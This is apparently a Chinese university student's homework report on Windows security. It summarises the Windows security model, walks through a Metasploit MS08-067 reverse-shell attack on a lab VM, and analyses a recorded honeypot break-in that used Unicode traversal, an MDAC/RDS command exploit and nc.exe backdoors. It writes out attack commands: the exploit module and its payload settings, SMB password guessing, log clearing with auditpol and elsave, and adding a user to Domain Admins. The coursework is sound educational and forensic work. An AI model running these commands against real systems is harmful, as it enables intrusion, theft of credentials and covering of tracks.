20199310 2019-2020-2 《网络攻防实践》第7周作业
作业课程: | https://edu.cnblogs.com/campus/besti/19attackdefense |
---|---|
作业要求: | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612 |
课程目标: | 学习《网络攻防技术与实践》教材第七章,并完成课后作业 |
本次作业实现目标: | 学习Windows操作系统安全攻防 |
作业正文:
1 知识点梳理
1.1 Windows操作系统的基本结构
Windows操作系统的基本结构:
分为运行于处理器特权模式(ring0) 的操作系统内核,以及运行在处理器非特权模式(ring 3)的用户空间代码。Windows与包括UNIX在内的现有大多数商业操作系统一样, 采用宏内核(monolithic) 模式来进行架构,即大量的内核模块与设备驱动程序共享内核态内存空间,这使得任意的内核模块或设备驱动程序都可能破坏其他内核模块数据,这种宏内核机制也使得Windows操作系统容易遭受以驱动方式植入内核的Rootkit 的危害。
Windows操作系统内核的基本模块:
Windows执行体,Windows内核体,设备驱动程序,硬件抽象层,Windows窗口与图形界面接口内核实现代码。
Windows操作系统在用户态的代码模块:
系统支持进程,环境子系统服务进程,服务进程,用户应用软件,核心子系统DLL。
Windows系统安全体系结构:
Windows操作系统基于引用监控器模型来实现基本的对象安全模型,系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所以访问记录也都引用监控器生成审计日志。
- SRM是内核态中的安全引用监控器,LSASS是用户态中的本地安全授权子系统服务,实现主体用户的身份认证机制、对所有资源对象的访问控制机制,来确定安全主体身份的真实性;
- Winlogon进程与LSASS中的Netlogon分别负责Windows本地和远程登录用户的身份认证,利用LSASS所提供的身份验证服务,来确定安全主体身份的真实性;
- 内核中的安全引用监控器作为Windows资源宝库的看门人,根据LSASS服务配置的安全访问控制策略,负责对所有安全主体访问Windows资源对象的授权访问控制;
- 安全引用监控器根据LSASS服务配置的安全审计策略,对访问过程中关注的事件进行记录,并由EventLog生成系统审计日志。
1.2 windows三个基本安全功能特性:
1.2.1 身份认证机制
Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识,程序代码的执行环境,而账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。Windows系统中拥有一些内建账户,如拥有最高权限的本地Administrator账户,作为自动运行系统进程环境的SYSTEMLocalSystem账户,具有相对极少权限的Guest图
名访客用户,以及IUSR_ Machinename IIS服务的匿名网络访问账户等。而这些账户在黑客眼中,本地Administrator和SYSTEM账户拥有最高的权限,是他们攻击的终极目标。
用户组
是为了简化用户管理而引入的用户账户容器,通过将用户账户添加入特定的用户组,就可以使得该用户拥有用户组配置的全部权限,有效地使用用户组,可以使得系统管理员对权限控制的配置工作量大大减少。
Windows用户账户的口令
经过加密处理之后被保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机密钥Hash加密后存储在SAM文件中,SAM存储于%systemroot%\system32\config\sam文件系统路径位置,并在注册表的HKEY_LOCAL_MACHHINE\SAM存有副本,Windows内核对SAM文件加上了一个持久性的文件锁,一般只有LocalSystem账户权限才可以读取,黑客们已经提出了多种技术可以对SAM加密口令字进行暴力破解。
1.2.2 Windows授权与访问控制机制
Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。在用户等安全主体经过认证之后,Windows系统会赋予用户一个访问令牌,在这个令牌中保存了一份与登录用户账户有关的安全主体SID标识符列表,包括用户账户本身的SID,所属用户组的SID列表,同时还包含该用户所拥有的一- 些系统特权列表。在Windows服务器操作系统中,用户可以执行内建的whoami命令来查看当前用户的访问令牌信息,比如查询本机的用户访问令牌信息:
认证用户在启动进程执行特定操作时,进程在它的进程控制块结构中也将包含-一个安全访问令牌( Security Access Token),继承了启动进程的用户账户中所拥有的访问令牌,并作为对一个进程安全环境的完整描述。
1.2.3 Windows安全审计机制
Windows安全审计机制的实现方式也比较清晰明了。系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。Windows系统审计策略的配置如图所示:
LSASS服务将保存审计策略,并在对象启动审计功能后,在对象安全描述符中的SACL列表中进行保存; SRM安全引用监控器在进行对象访问授权时,也将依据对象的SACL列表配置,对指定的对象访问和操作事件进行审计记录,发送给LSASS服务;由LSASS服务补充审计记录细节信息后,再将这些审计记录发送给EventLog事件日志服务; EventLog 服务最后将事件日志写入日志文件中,并通过事件查看器工具展示给系统管理员,也可以作为第三方审计日志分析工具的分析输入数据源。Windows系统审计事件日志查看器:
1.2.4 Windows其他安全机制
Windows操作系统中还实现了大量其他安全机制,来保护用户更加安全地使用Windows系统,如图所示:
在此集成了对于保护Windows系统安全稳定运行最为关键的三项安全措施——防火墙、补丁自动更新以及病毒防护。除安全中心之外,Windows的安全特性还包IPSec加密与验证机制、EFS加密文件系统、Windows 文件保护机制、捆绑的IE浏览器所提供的隐私保护与浏览安全保护机制等。
2 实验内容
2.1 Windows远程安全攻防技术
Windows远程攻击技术:
远程口令猜测与破解攻击:远程渗透攻击Windows系统最简单的方法仍然是猜测或破解出系统的登录口令,从Windows 操作系统诞生以来一直存在的口 令暴力破解、基于字典的猜测以及中间人身份认证欺骗攻击技术,仍对现在的Windows网络构成现实的威胁。
攻击Windows网络服务:无论Windows自身独有的SMB、MSRPC、NETBIOS等网络服务,还是IIS、MSSQL等各种互联网服务在Windows系统上的具体服务实例,都不可避免地存在着可导致远程代码执行的高危性安全漏洞,攻击者也一直在利用这些漏洞来对Windows网络服务实施远程渗透攻击,从而得到Windows系统的访问权。
攻击Windows 客户端及用户:最近几年来在微软公司Windows XP/Vista/Windows 7等操作系统的开发过程中,都应用了SDL安全软件开发生命周期,从而有效地提升了Windows系统及本身服务的安全性,同时引入了DEP数据执行保护、ASLR地址空间布局随机化机制、UAC用户账户控制等安全特性,这都使得攻击者越来越难以利用传统的攻击渠道来远程攻陷Windows系统。在这种背景下,针对Web浏览器、第三方应用软件的客户端渗透攻击变得非常流行,此外,攻击者还会结合社会工程学技巧诱骗终端用户来帮助他们执行伪装目的的恶意代码或流氓软件。
Winodws系统的安全漏洞生命周期:安全漏洞发现,安全漏洞渗透攻击,安全监测防御机制升级,安全漏洞消亡。
Metasploit:是一款非常优秀的、完全开源的渗透测试软件,提供了CLI、Console、 Web和GUI四种不同的用户交互接口,其中Console终端是比较常用的方式,可以在终端中输入help命令来查询所支持的各种命令,其终端的主要命令列表:
在后面的实践中我们主要用到search,show,set,exploit/run等命令。
远程口令字猜测:Windows通过基于服务器消息块(SMB)协议承载的文件与打印共享服务来为网络用户提供远程访问文件系统和打印的支持,而SMB协议也成为了攻击者实施Windows远程口令猜测的传统攻击渠道。
攻击过程:
- 1.在SMB服务决定授予网络用户对所请求的共享文件或打印机的访问权之前,它会先对用户身份进行验证,这就需要网络用户输入正确口令,而攻击者在此时就可以对系统实施远程口令字猜测攻击;
- 2.攻击者通常使用SMB默认开放的隐藏共享卷作为攻击点,然后攻击者需要目标系统的用户名单作为猜测对象,而用户名单可以通过会话查点技术进行收集;
- 3.攻击者通过攻击工具来自动执行Windows远程口令猜测。在命令行终端中输入“net use \HOSTIPC$ * /u:Administrator”,然后根据提示输入所猜测进行远程口令猜测攻击。
远程口令字交换通信窃听与破解:窃听网络上的口令字交换通信实施破解。Windows系统在对网络用户进行身份认证时,需要在网络上交换信息,来确认网络用户是否拥有预先设置的口令字秘密信息。Windows不同版本在进行网络身份认证时,使用了LanMan、NTLM和Kerberos三种认证协议。
针对这几种Windows网络认证协议中存在的弱点,一些口令破解工具可以在线窃听到Windows SMB服务中交换的口令密文信息实施破解,如Cain and Abel,L0phtcrack。
远程口令猜测与破解防范措施:
- 1.尽量关闭不必要开放的易受远程口令猜测攻击网络服务,包括TCP 139/445端口的SMB服务、TCP 135端口的WMI服务、TCP 3389端口的TS终端服务以及TCP 1433端口的MSSQLServer服务等;
- 2.配置主机防火墙来限制对应端口的服务,尤其是访问这些服务的源IP地址范围;
- 3.利用网络防火墙来限制这些服务的访问;
- 4.保持Windows补丁的自动更新,并设置符合长度限制和复杂度限制的用户口令;
- 5.指定和实施强口令字策略,设置账户锁定阈值,对用户账户进行一端实践的锁定,也可以在系统上激活账户登录失败实践审计功能,通过定期查看实践日志报告,或利用第三方日志分析工具来发现攻击者的远程口令猜测攻击。
动手实践:Metasploit Windows Attack
任务:使用Metasploit软件进行Windows远程渗透攻击实验。
具体任务内容:使用Windows Attacker/BT4攻击机尝试对Windows Metasploiable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权。
实践步骤:
1. 启动metasploit软件,可根据个人喜好使用msfconsole. msfgui. msfweb 之一
使用命令msfconsole
启动metasploit:
2. 使用exploit: windows/smb/ms08_067_netapi 渗透攻击模块
输入search ms08_067_netapi
,会显示出找到的渗透模块:
输入use exploit/windows/smb/ms08_067_netapi
,进入该漏洞模块的使用,show payload
会显示出有效的攻击载荷,其中有个shell_reverse_tcp
是通用命令shell,能够实现反向TCP内联。
show targets
可以显示目标攻击的所有操作系统类型,其中我们使用Windows XP SP1的虚拟机,IP地址为192.168.200.9
:
3. 选择攻击PAYLOAD为远程shell, (正向或反向连接均可)
设置攻击有效载荷set payload generic/shell_reverse_tcp
为反向连接:
4. 设置渗透攻击参数( RHOST, LHOST, TARGET等)
设置targets,即为目标嗅探靶机的类型为2,即Windows XP SP1:
设置靶机和攻击机的IP地址:
5 执行渗透攻击
输入exploit
开始攻击:
6. 查看是否正确得到远程Shell,并查看获得的权限
输入enter键就可以进入靶机shell,也就是cmd,可以查询在靶机上用net user
查看所有用户:
当前打开的cmd为C:\WINDOWS\system32
下的cmd.exe,而且靶机仅存在Administrator用户,所获得的权限也是Administrators管理员用户组的权限。
2.2 Windows本地安全攻防技术
在攻击者获得Windows系统上的受限用户权限之后,他们将立即着眼于获得终极特权:Administrator或Local System 账户。从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升( Privilege Escalation),业内简称为“ 提权”。Windows 系统上进行特权提升的攻击途径主要是通过DLL注入和破解本地程序安全漏洞。需要注意的是,从技术上来说,获得了Administrator 权限并不意味着获得了Windows系统的最高权限,Local System 账户比Administrator账户的权限更高,比如Administrator不能在系统运行时刻读取SAM位置注册表键值,而Local System 却可以。
本地获取口令字密文的主要途径:
-
1.从另一操作系统启动后拷贝文件系统中的口令密文文件,这需要攻击者对目标系统拥有物理访问权限,能够在物理主机设备上插入可启动光盘或U盘,并重启系统,通过攻击者控制的操作系统对系统磁盘上的密文文件进行获取。这种攻击途径在远程攻击中无法实施;
-
2.利用硬盘修复工具包中的rdisk工具,执行“rdisk/s-” 命令创建SAM备份文件副本;
-
3.使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文。
Windows消灭踪迹: -
1.Windows Resource Kit工具包里的auditpol程序可以关闭审计功能。
-
2.通过远程桌面控制目标系统,使用Event Viewer事件查看器来打开、读取和清除这台主机上的事件日志,另一种elsave程序能够根据攻击者输入的命令行参数把符合条件的日志记录进行清除;
3.实践作业
取证分析实践:解码一次成功的NT系统破解攻击。
来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为: lab.wiretrip.net), 这是一次非常典型的针对NT系统的攻击,而且我们有理由相信攻击者最终识别了蜜罐主机,因此这将是一个非常有趣的案例分析挑战。你的分析数据源只有包含整个攻击过程的二进制记录文件,而你的任务就是从这个文件中提取并分析攻击的全部过程。
1.攻击者使用了什么破解工具进行攻击?
首先,我们可以通过snort提供的命令来查看网络日志文件中和攻击机213.116.251.162
相关的数据包,命令为snort -vdr snort-0204\@0117.log host 213.116.251.162 > ./config/snort.txt
:
接下来可以采取上一周实验snort生成alert文件的方法snort -r snort-0204@0117.log -c /etc/snort/snort.conf -K ascii -l ./log
用已知入侵方法进行检测,其中-l
指定生成alert文件路径,必须提前新建一个log文件夹,可以看到生成了342个alert信息:
进入log
文件目录,可以发现生成了以IP命名的文件夹,里面存在的alert信息,可以通过snort官网查询。
这条上网查到的貌似是检测到非标准超文本协议或事件,可能需要更新规则库才能检测出。
这条是检测出ftp服务登录出现错误,说明攻击机尝试通过ftp服务连接靶机。
这条是检测出目录列举和监听。
这条是通过ping进行探测。
这条是一个来自运行L3的主机的Retriever1.5安全扫描器的主机的回波请求,包含消息请求中的唯一有效负载。
这条是Web目录遍历警报。
这条是web403访问限制错误消息。
这条是msadcs.dll访问,该DLL为MDAC RDC控件服务程序,在3.x和4.x中存在已知的安全漏洞,这个漏洞使得远程攻击者可以执行任意命令。
这条是在Microsoft数据访问组件(MDAC)2.1到2.6的远程数据服务(RDS)组件和InternetExplorer5.01到6.0中基于Heap的缓冲区溢出,允许远程攻击者通过对数据块的格式错误的HTTP请求进行MDAC溢出攻击。
这条是cmd远程shell访问。
这条是文件拷贝。
这条是nc.exe后门程序访问。
以上对于日志的分析可以得出攻击机主要利用了WEB-MISC http directory traversal
和WEB-IIS MDAC Content-Type overflow attempt
这两个漏洞,前者(MS00-078)是微软IIS 4.0和5.0都存在利用扩展UNICODE字符取代"/"和"\"而能利用"../"目录遍历的漏洞,(MS03-026)也可以利用远程过程调用(Remote Procedure Call,RPC)的接口(具体位于RemoteActivation()函数)进行缓冲区溢出攻击。后者(MS02-065)是MS MDAC缓冲溢出缺陷允许执行任意指令(Q32Array414)的漏洞。攻击机通过nc.exe后门程序远程连接了目标蜜罐主机的shell连接。
2.攻击者如何使用这个破解工具进入并控制了系统?
了解了alert信息,我们现在在用wireshark打开日志文件,然后用ip.addr == 172.16.1.106 and http
过滤靶机的http信息:
攻击机首先请求访问了蜜罐主机的http://lab.wiretrip.net/
:
从User-Agent中可以获取浏览器信息,以及操作系统为Windows NT 5.0,安装了MSIE5.01和Hotbar2.0插件,然后攻击机向蜜罐主机请求了一些gif图,这里没有能分析出什么有价值的信息。
在第108条中出现了如下的信息:
这里%C0%AF
是“/”字符的Unicode表示方式,也就是上面所说的(MS00-078)漏洞,第128条中出现了msadcs.dll也就是利用上面分析到的RDS(MS02-065)漏洞,远程攻击者可以执行任意命令。:
第137条中利用上述漏洞使用SQL注入,执行cmd /c echo werd>>c:\fun
命令,在查询语句中还是用了dbq=c:\winnf\help\iis\htm\tutorial\btcustmr.mdb
,可以查询到这是通过msadc2.pl渗透攻击工具进行了攻击。
我们可以通过wireshark中统计的http请求中来看到后续的信息,这种方式虽然比一条一条查找内容要简便,但是上面的数据顺序可能有一定的改变,大体上攻击者通过ftpcom这个程序将nc.exe,pdump.exe,samdump.dll等下载到蜜罐主机上,然后攻击机貌似尝试用6868,6968,6969三个端口分别尝试,构建了远程shell通道,即攻击机可以直接调用蜜罐主机的cmd.exe:
3.当攻击者获得系统的访问权后做了什么?
第1361条数据,显示将c:\Program Files\Common Files\system\msadc\pdump.exe > yay.txt,这里攻击者尝试使用pdump直接从注册表中提取口令密文,但是失败了。
第1704条数据,显示攻击机通过shell的net user
在查蜜罐主机的用户信息:
第1753条数据,显示攻击机通过shell的net session
在与查蜜罐主机建立会话的主机信息:
第2320条数据,显示攻击机通过shell的net localgroup Domain Admins IWAN_KENNY /ADD
尝试将IUSER用户加入Domain Admins组,提升权限至Administrator:
4.我们如何防止这样的攻击?
首先是及时获取Unicode和RDS两个漏洞的补丁,其次是加强防火墙管理,再有就是禁用用不着的RDS远程桌面服务,防止被黑客渗透攻击。
5.你觉得攻击者是否警觉了他的目标是一台密罐主机?如果是,为什么?
攻击机察觉了它是蜜罐主机,攻击者将以下内容写入文件rfp.txt:
团队对抗实践: Windows 系统远程渗透攻击与分析。
攻防对抗实践内容:攻击方Metasploit Windows Attack,防御方: wireshark 捕获攻击流,分析出攻击哪个安全漏洞,从官方网站上下载该安全漏洞补丁进行修补,给出攻防过程报告。
攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权。
防守方:使用tcpdunp/wireshar/snort 监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间,攻击利用漏洞、攻击使用shellcode, 以及攻击成功之后在本地执行的命令输入等信息。团队共同合作完成渗透攻击与分析实验报告。
我们借用实践一的漏洞攻击,在攻击机开始攻击后用wireshark进行监听,前两条数据包是arp广播和回复,然后3-5条TCP数据包建立三次握手,我们可以看到攻击者IP地址192.168.200.7
,目标IP192.168.200.7
和端口445
、攻击发起时间Apr 13, 2020 09:39:56.50
,MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,所以用到了大量SMB协议:
然后在攻击机中靶机的界面输入net user
查询靶机用户,可以在wireshark追踪流中显示:
根据补丁链接进行漏洞补丁修补。
4.学习中遇到的问题及解决
- 问题1:wireshark捕获数据包数据分析
问题1解决方案:一开始真的是一个数据包一个数据包检查过去,后面才发现可以用分析->追踪流->TCP流来检查一个完整数据流的ascii内容,这样效率提高很多。
- 问题2:metasploit基本操作
问题2解决方案:查询网上的MS08-067漏洞远程溢出入侵测试
- 问题3:对于大量数据包的取证分析
问题3解决方案:感觉可以先用snort检测报警信息,然后查询snort官网,找出最主要的漏洞和渗透技术。然后对数据包进行TCP流分析,了解整个渗透过程。
5.学习感悟和思考
本次学习内容主要为Windows操作系统的操作系统安全攻防,主要学习了metasploit这个软件的操作,并且通过求证实践对wireshark有了进一步的掌握。